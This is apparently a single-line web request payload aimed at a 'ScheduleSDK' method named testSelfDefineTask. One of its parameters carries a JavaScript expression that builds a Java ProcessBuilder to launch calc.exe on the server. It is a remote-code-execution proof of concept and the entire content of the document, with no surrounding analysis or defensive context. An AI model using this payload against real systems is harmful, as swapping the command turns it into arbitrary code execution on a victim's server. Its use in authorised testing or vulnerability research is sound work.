className=ScheduleSDK&methodName=testSelfDefineTask&params=["ikun","ikun","ikun","(new Packages.java.lang.ProcessBuilder(\"calc.exe\")).start();","demo","123"]